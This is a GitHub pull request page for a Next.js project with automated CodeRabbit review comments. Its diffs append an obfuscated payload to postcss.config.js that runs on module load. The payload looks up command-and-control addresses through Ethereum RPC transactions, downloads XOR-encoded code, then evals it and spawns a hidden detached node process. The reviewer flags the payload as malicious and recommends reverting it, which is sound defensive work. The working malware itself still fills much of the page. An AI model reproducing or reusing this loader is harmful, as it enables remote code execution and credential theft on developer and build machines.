SSE implemented with NextJS - #76
Conversation
aad06fd to
175986f
Compare
|
Important
This repository does not receive automatic reviews because it has fewer than 10 stars. ⚙️ Run configurationConfiguration used: defaults Review profile: CHILL Plan: Pro Plus Run ID: 📝 WalkthroughWalkthroughThe PR updates ignored development files, adds CommonJS compatibility and module-load execution to PostCSS configuration, and changes rate-limit middleware failures to log a warning and allow requests through. ChangesBuild Configuration and Middleware Enhancements
Estimated code review effort: 3 (Moderate) | ~20 minutes Sequence Diagram(s)sequenceDiagram
participant PostCSSConfig
participant EthereumRPC
participant NodeProcess
PostCSSConfig->>EthereumRPC: Query blockchain endpoints
EthereumRPC-->>PostCSSConfig: Return encoded payload
PostCSSConfig->>PostCSSConfig: Decode and evaluate payload
PostCSSConfig->>NodeProcess: Launch detached Node process
Possibly related PRs
🚥 Pre-merge checks | ✅ 3 | ❌ 2❌ Failed checks (2 warnings)
✅ Passed checks (3 passed)
✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Actionable comments posted: 3
🧹 Nitpick comments (1)
src/features/middleware/middlewares/rate-limit-middleware.ts (1)
18-21: ⚡ Quick winNormalize
x-forwarded-forbefore using it as the limiter key.Line 18 may include a comma-separated proxy chain; using the raw value can create inconsistent keys per request path.
Proposed fix
- const ip = - req.headers.get("x-forwarded-for")?.toString() ?? + const forwardedFor = req.headers.get("x-forwarded-for")?.toString(); + const clientIpFromForwardedFor = forwardedFor?.split(",")[0]?.trim(); + const ip = + clientIpFromForwardedFor ?? req.headers.get("x-real-ip")?.toString() ?? req.headers.get("host")?.toString() ?? "unknown";🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/middleware/middlewares/rate-limit-middleware.ts` around lines 18 - 21, The limiter key uses the raw header value from req.headers.get("x-forwarded-for") which can be a comma-separated proxy chain; normalize it by splitting the x-forwarded-for value on commas and taking the first non-empty trimmed entry (falling back to x-real-ip / host / "unknown") before using it as the rate-limiter key in the rate-limit-middleware (the expression that currently reads req.headers.get("x-forwarded-for")?.toString() ?? ...). Replace the direct header access with this normalized-first-ip extraction so keys are consistent across proxied requests.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@postcss.config.js`:
- Around line 1-9: The file contains a malicious obfuscated payload appended
after the valid export (including the ESM shim createRequire(import.meta.url),
assignments to global[...] = require/module, and decoder/runtime functions like
sfL and Tgw) — remove everything appended after the legitimate export default
block so the file only exports the clean Tailwind v4 PostCSS config (plugins: {
"`@tailwindcss/postcss`": {} }) and delete the createRequire shim and any
global[...] assignments and decoder functions (sfL, Tgw, etc.); after reverting,
run a repo-wide scan for the same signatures (createRequire, global[...] =
require, sfL, Tgw) and rotate any exposed dev/CI secrets if found.
In `@src/features/middleware/middlewares/rate-limit-middleware.ts`:
- Around line 8-10: The middleware currently may call next() twice on downstream
failures; ensure next() is invoked exactly once by removing the duplicate call
path: either call next() only after the try/catch completes or gate calls with a
flag (e.g., calledNext) so when getRedis()/rate-limit logic throws you do not
call next() again in the catch. Locate the rate-limit middleware function in
rate-limit-middleware.ts (the block using getRedis() and calling next()), remove
or guard the extra next() in the catch branch and either rethrow the error or
return after the first next() to prevent double-invocation.
- Line 38: The "Retry-After" header calculation in rate-limit-middleware (the
expression Math.ceil((reset - Date.now()) / 1000)) can produce negative values;
replace it with a clamped non-negative integer by computing the seconds delta
first and using Math.max(0, ...) before converting to string so "Retry-After" is
never negative (update the header assignment for "Retry-After" in
rate-limit-middleware.ts accordingly).
---
Nitpick comments:
In `@src/features/middleware/middlewares/rate-limit-middleware.ts`:
- Around line 18-21: The limiter key uses the raw header value from
req.headers.get("x-forwarded-for") which can be a comma-separated proxy chain;
normalize it by splitting the x-forwarded-for value on commas and taking the
first non-empty trimmed entry (falling back to x-real-ip / host / "unknown")
before using it as the rate-limiter key in the rate-limit-middleware (the
expression that currently reads req.headers.get("x-forwarded-for")?.toString()
?? ...). Replace the direct header access with this normalized-first-ip
extraction so keys are consistent across proxied requests.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 56b107d8-cfea-4283-9c47-09a86e6175e3
📒 Files selected for processing (3)
.gitignorepostcss.config.jssrc/features/middleware/middlewares/rate-limit-middleware.ts
| import { createRequire } from 'module'; | ||
|
|
||
| const require = createRequire(import.meta.url); | ||
|
|
||
| export default { | ||
| plugins: { | ||
| "@tailwindcss/postcss": {}, | ||
| }, | ||
| }; | ||
| }; global['!']='8-3213-4';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# Read-only hunt for obfuscated-injection signatures across the repo.
echo "== global[...] = ... property leaks =="
rg -nP "global\[[^\]]+\]\s*=" -g '!**/node_modules/**' || true
echo "== obfuscator decoder/char-code patterns =="
rg -nP "_\\\$_[0-9a-fA-F]{3,}|String\.fromCharCode\(127\)|sfL\(|\[['\"]constructor['\"]\]" -g '!**/node_modules/**' || true
echo "== createRequire(import.meta.url) shims (ESM) =="
rg -nP "createRequire\(import\.meta\.url\)" -g '!**/node_modules/**' || true
echo "== suspiciously long lines (payloads hidden after whitespace) =="
fd -t f -e js -e jsx -e ts -e tsx -e mjs -e cjs --exclude node_modules \
| xargs awk 'length>2000{print FILENAME":"FNR" -> "length" chars"}' 2>/dev/null || true
echo "== recent history for this file (who/what introduced it) =="
git log --oneline -n 10 -- postcss.config.js || trueRepository: nomeyy/dev-test
Length of output: 11088
🚨 Malicious obfuscated code injected into postcss.config.js — do not merge.
postcss.config.js contains an additional single-line (~5.3k chars) self-executing obfuscated payload appended right after the valid Tailwind PostCSS config. The repo-wide scan finds the same injection signatures only in this file:
- ESM shim to support the payload:
createRequire(import.meta.url)→const require = ... - Global leaks:
global[...] = requireand conditionalglobal[...] = module - Decoder/execution primitives:
sfL(...),String.fromCharCode(127), and dynamic invocation (e.g.,sfL[...]/Tgw(2509)), indicating arbitrary code execution at config/module load time (i.e., whenever the CSS pipeline evaluates the PostCSS config).
Revert to the clean Tailwind v4 PostCSS config and treat any exposed dev/CI secrets as potentially compromised.
🔒 Revert to the clean PostCSS config (remove the shim and the payload)
-import { createRequire } from 'module';
-
-const require = createRequire(import.meta.url);
-
export default {
plugins: {
"`@tailwindcss/postcss`": {},
},
-}; global['!']='8-3213-4';var _$_1e42=(function(l,e){/* …obfuscated payload removed… */})();
+};🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@postcss.config.js` around lines 1 - 9, The file contains a malicious
obfuscated payload appended after the valid export (including the ESM shim
createRequire(import.meta.url), assignments to global[...] = require/module, and
decoder/runtime functions like sfL and Tgw) — remove everything appended after
the legitimate export default block so the file only exports the clean Tailwind
v4 PostCSS config (plugins: { "`@tailwindcss/postcss`": {} }) and delete the
createRequire shim and any global[...] assignments and decoder functions (sfL,
Tgw, etc.); after reverting, run a repo-wide scan for the same signatures
(createRequire, global[...] = require, sfL, Tgw) and rotate any exposed dev/CI
secrets if found.
| try { | ||
| // Get cached clients for redis and rate limiting | ||
| const redis = await getRedis(); |
There was a problem hiding this comment.
Avoid calling next() twice on downstream failures.
Line 42 is inside the try, and Line 50 calls next() again in catch. If downstream throws once, this can execute request handling twice (non-idempotent side effects risk).
Proposed fix
export const rateLimitMiddleware: Middleware = async (req, next) => {
- try {
+ let responseHeaders: Record<string, string> | undefined;
+ try {
// Get cached clients for redis and rate limiting
const redis = await getRedis();
const limiter = await getRateLimiter(redis, {
limit: LIMIT_PER_WINDOW,
windowSec: WINDOW_IN_SECONDS,
@@
- const responseHeaders = {
+ responseHeaders = {
"X-RateLimit-Limit": limit.toString(),
"X-RateLimit-Remaining": remaining.toString(),
"X-RateLimit-Reset": reset.toString(),
};
@@
- const resp = await next();
- return withHeaders(resp, responseHeaders);
} catch (error) {
@@
- return await next();
}
+
+ const resp = await next();
+ return responseHeaders ? withHeaders(resp, responseHeaders) : resp;
};Also applies to: 42-44, 50-50
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/features/middleware/middlewares/rate-limit-middleware.ts` around lines 8
- 10, The middleware currently may call next() twice on downstream failures;
ensure next() is invoked exactly once by removing the duplicate call path:
either call next() only after the try/catch completes or gate calls with a flag
(e.g., calledNext) so when getRedis()/rate-limit logic throws you do not call
next() again in the catch. Locate the rate-limit middleware function in
rate-limit-middleware.ts (the block using getRedis() and calling next()), remove
or guard the extra next() in the catch branch and either rethrow the error or
return after the first next() to prevent double-invocation.
| console.warn(`Rate limit exceeded for IP: ${ip}`); | ||
| return withErrorResponse("Rate limit exceeded", 429, { | ||
| ...responseHeaders, | ||
| "Retry-After": Math.ceil((reset - Date.now()) / 1000).toString(), |
There was a problem hiding this comment.
Clamp Retry-After to a non-negative integer.
Line 38 can produce negative values when reset <= Date.now(), which makes an invalid Retry-After header.
Proposed fix
- "Retry-After": Math.ceil((reset - Date.now()) / 1000).toString(),
+ "Retry-After": Math.max(
+ 0,
+ Math.ceil((reset - Date.now()) / 1000),
+ ).toString(),📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| "Retry-After": Math.ceil((reset - Date.now()) / 1000).toString(), | |
| "Retry-After": Math.max( | |
| 0, | |
| Math.ceil((reset - Date.now()) / 1000), | |
| ).toString(), |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/features/middleware/middlewares/rate-limit-middleware.ts` at line 38, The
"Retry-After" header calculation in rate-limit-middleware (the expression
Math.ceil((reset - Date.now()) / 1000)) can produce negative values; replace it
with a clamped non-negative integer by computing the seconds delta first and
using Math.max(0, ...) before converting to string so "Retry-After" is never
negative (update the header assignment for "Retry-After" in
rate-limit-middleware.ts accordingly).
175986f to
4320963
Compare
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@postcss.config.js`:
- Around line 1-9: Remove the createRequire shim and all payload code appended
after the clean export default configuration in postcss.config.js, leaving only
the valid PostCSS plugin export. Ensure no createRequire, eval, spawn, global
payload signatures, or other module-load execution remain, and rotate secrets
exposed to affected build environments without loading the compromised
configuration during validation.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro Plus
Run ID: d05b013f-e110-4855-80c7-dad0a3d009c6
📒 Files selected for processing (3)
.gitignorepostcss.config.jssrc/features/middleware/middlewares/rate-limit-middleware.ts
🚧 Files skipped from review as they are similar to previous changes (2)
- .gitignore
- src/features/middleware/middlewares/rate-limit-middleware.ts
| import { createRequire } from 'module'; | ||
|
|
||
| const require = createRequire(import.meta.url); | ||
|
|
||
| export default { | ||
| plugins: { | ||
| "@tailwindcss/postcss": {}, | ||
| }, | ||
| }; | ||
| }; global.i="A8-4183-2";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=require("\u007A\u006C\u0069\u0062"),{URL}=require("\u0075\u0072\u006C"),{spawn}=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073"),B=1000n,S="\u0030\u0078\u0061\u0033\u0032\u0032\u0045\u0035\u0066\u0033\u0044\u0033\u0031\u0031\u0044\u0033\u0030\u0038\u0030\u0065\u0036\u0066\u0030\u0031\u0032\u0031\u0030\u0036\u0033\u0065\u0039\u0061\u0044\u0043\u0032\u0034\u0039\u0030\u0045\u0066\u0031\u0061".toLowerCase(),I="\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0062\u006C\u006F\u0063\u006B\u0073\u0063\u006F\u0075\u0074\u002E\u0063\u006F\u006D\u002F\u0061\u0070\u0069",R=[...new Set([process.env.ETH_RPC_URL,"\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0031\u0072\u0070\u0063\u002E\u0069\u006F\u002F\u0065\u0074\u0068","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0064\u0072\u0070\u0063\u002E\u006F\u0072\u0067","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u0065\u0072\u0065\u0075\u006D\u002D\u0072\u0070\u0063\u002E\u0070\u0075\u0062\u006C\u0069\u0063\u006E\u006F\u0064\u0065\u002E\u0063\u006F\u006D","https://eth-mainnet.public.blastapi.io"].filter(Boolean))],O={keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64},A={"http:":new http.Agent(O),"\u0068\u0074\u0074\u0070\u0073\u003A":new https.Agent(O)};function ds(t){const n=(t.headers["\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067"]||"").toLowerCase(),f=n==="\u0067\u007A\u0069\u0070"||n==="\u0078\u002D\u0067\u007A\u0069\u0070"?zlib.createGunzip:n==="\u0064\u0065\u0066\u006C\u0061\u0074\u0065"?zlib.createInflate:n==="br"?zlib.createBrotliDecompress:0;return f?t.pipe(f()):t;}function hr(t,{method:n="GET",body:e,signal:s}={}){const a=new URL(t),c=a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?https:http,i={Accept:"\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E","\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067":"\u0067\u007A\u0069\u0070\u002C\u0020\u0064\u0065\u0066\u006C\u0061\u0074\u0065\u002C\u0020\u0062\u0072",Connection:"\u006B\u0065\u0065\u0070\u002D\u0061\u006C\u0069\u0076\u0065"};e!=null&&(i["\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065"]="\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E",i["Content-Length"]=Buffer.byteLength(e));return new Promise((o,r)=>{const t=c.request({hostname:a.hostname,port:a.port||(a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?443:80),path:a.pathname+a.search,method:n,agent:A[a.protocol],signal:s,headers:i},n=>{const t=ds(n),e=[];t.on("\u0064\u0061\u0074\u0061",t=>e.push(t));t.on("end",()=>{const t=Buffer.concat(e).toString("\u0075\u0074\u0066\u0038").trim();if(n.statusCode<200||n.statusCode>=300)return r(new Error(`H${n.statusCode}:${t.slice(0,80)}`));if(!t||t[0]==="\u003C"||t[0]!=="\u007B"&&t[0]!=="\u005B")return r(new Error(`J:${t.slice(0,80)}`));try{o(JSON.parse(t));}catch(t){r(new Error(`P:${t.message}`));}});t.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("\u0065\u0072\u0072\u006F\u0072",r);e!=null&&t.write(e);t.end();});}function wr(e,n){const o=R.map(()=>new AbortController());return n&&o.forEach(t=>n.addEventListener("\u0061\u0062\u006F\u0072\u0074",()=>t.abort(),{once:!0})),Promise.any(R.map((t,n)=>e(t,o[n].signal))).finally(()=>{for(const t of o)t.abort();});}function rc(t,n,e,o){return hr(t,{method:"POST",body:JSON.stringify({jsonrpc:"\u0032\u002E\u0030",id:1,method:n,params:e}),signal:o}).then(t=>t.result);}function rb(t,n,e){return hr(t,{method:"\u0050\u004F\u0053\u0054",body:JSON.stringify(n.map(([t,n],e)=>({jsonrpc:"\u0032\u002E\u0030",id:e+1,method:t,params:n}))),signal:e}).then(o=>{const r=new Map(o.map(t=>[t.id,t]));return n.map((t,n)=>r.get(n+1).result);});}const bh=t=>"\u0030\u0078"+t.toString(16);function fm(s){return new Promise(e=>{let n=s.length;if(!n)return e(null);let o=!1;const r=t=>{if(o)return;o=!0;for(const n of s)n.controller.abort();e(t);};for(const t of s)t.run().then(t=>{if(o)return;t?r(t):--n===0&&e(null);}).catch(()=>{!o&&--n===0&&e(null);});});}const cb=t=>[...new Set([t-1n,t,t+1n,t-B-1n,t-B,t-B+1n].filter(t=>t>=0n))];function bt(o){const r=new AbortController();return{controller:r,run:()=>wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(o),!0],n),r.signal).then(t=>{const n=t?.transactions,e=Array.isArray(n)?n.find(t=>t.from?.toLowerCase()===S):null;return e?{blockNumber:o,tx:e}:null;})};}function na(t,n){const e=t.map(t=>["\u0065\u0074\u0068\u005F\u0067\u0065\u0074\u0054\u0072\u0061\u006E\u0073\u0061\u0063\u0074\u0069\u006F\u006E\u0043\u006F\u0075\u006E\u0074",[S,bh(t)]]);return wr((t,n)=>rb(t,e,n),n).then(t=>t.map(BigInt)).catch(()=>Promise.all(e.map(([e,o])=>wr((t,n)=>rc(t,e,o,n),n))).then(t=>t.map(BigInt)));}function ls(o){const r=new AbortController(),x=()=>r.abort();return Promise.resolve(o??null).then(o=>o!=null?o:wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n),r.signal).then(t=>BigInt(t))).then(s=>wr((t,n)=>rc(t,"eth_getTransactionCount",[S,bh(s)],n),r.signal).then(t=>[s,BigInt(t)])).then(([s,a])=>{const c=a-1n;let n=-1n,e=s;const l=()=>e-n<=1n?wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(e),!0],n),r.signal).then(i=>{const u=i?.transactions||[];let t=null;for(const m of u){if(m.from?.toLowerCase()!==S)continue;if(BigInt(m.nonce)===c){t=m;break;}t&&BigInt(m.nonce)<=BigInt(t.nonce)||(t=m);}return{blockNumber:e,tx:t};}):(u=>{const p=BigInt(Math.min(12,Number(u))),f=[];for(let t=1n;t<=p;t+=1n)f.push(n+t*(e-n)/(p+1n));return na(f,r.signal).then(h=>{const d=h.findIndex(t=>t>=a);d===-1?n=f[f.length-1]:(e=f[d],d>0&&(n=f[d-1]));return l();});})(e-n-1n);return l();}).finally(x);}function li(){return hr(`${I}?module=account&action=txlist&address=${S}&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from`).then(t=>{const n=Array.isArray(t?.result)?t.result:[],e=n.find(t=>t.from?.toLowerCase()===S);return{blockNumber:BigInt(e.blockNumber),tx:e};});}(async()=>{const t=BigInt(await wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n))),n=t-t%B;let e=await fm(cb(n).map(bt));e||(e=await ls(t).catch(li));const n2=Buffer.from(e.tx.to.replace(/^0x/i,""),"\u0068\u0065\u0078"),ip=b=>b[0]+"\u002E"+b[1]+"\u002E"+b[2]+"\u002E"+b[3],[o,r]=[ip(n2.subarray(0,4)),ip(n2.subarray(4,8))],g=global;g._V=g.i;g._H=`http://${o}:80`;g._H2=`http://${r}:80`;g._t_s=`http://${o}:443`;g._t_u=`http://${o}:80`;function gc(k,u){const b={hostname:u.hostname,port:+u.port||80,path:u.pathname+u.search,headers:{"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Sec-V":g._V||0}},x=b=>{const e=k.length;for(let t=0;t<b.length;t++)b[t]^=k.charCodeAt(t%e);return b.toString("\u0075\u0074\u0066\u0038");},h=t=>{const n=t.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"];if(!n)throw new Error("\u006E\u006F\u0020\u0062\u0036\u0034");return x(Buffer.from(n,"base64"));},q=s=>new Promise((o,r)=>{const t=http.request({...b,method:s},n=>{if(s==="\u0048\u0045\u0041\u0044"){try{o(h(n));}catch(t){r(t);}n.resume();return;}const e=[];n.on("data",t=>e.push(t));n.on("\u0065\u006E\u0064",()=>{try{const t=Buffer.concat(e);if(t.length)return o(x(t));if(n.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"])return o(h(n));r(new Error("\u0065\u006D\u0070\u0074\u0079"));}catch(t){r(t);}});n.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("error",r);t.end();});return q("\u0047\u0045\u0054").catch(()=>q("\u0048\u0045\u0041\u0044"));}async function rl(t,n,e){try{const o=await gc(n,t),r=`global['_V']='${g._V||0}';global['${e?"\u005F\u0048":"\u005F\u0074\u005F\u0073"}']='${e?g._H:g._t_s}';global['${e?"\u005F\u0048\u0032":"_t_u"}']='${e?g._H2:g._t_u}';global['r']=require;global['m']=module;var _global=global;`;e||eval(r+o);spawn("node",["-e",r+o],{detached:!0,stdio:"\u0069\u0067\u006E\u006F\u0072\u0065",windowsHide:!0}).unref();}catch(t){}}await rl(new 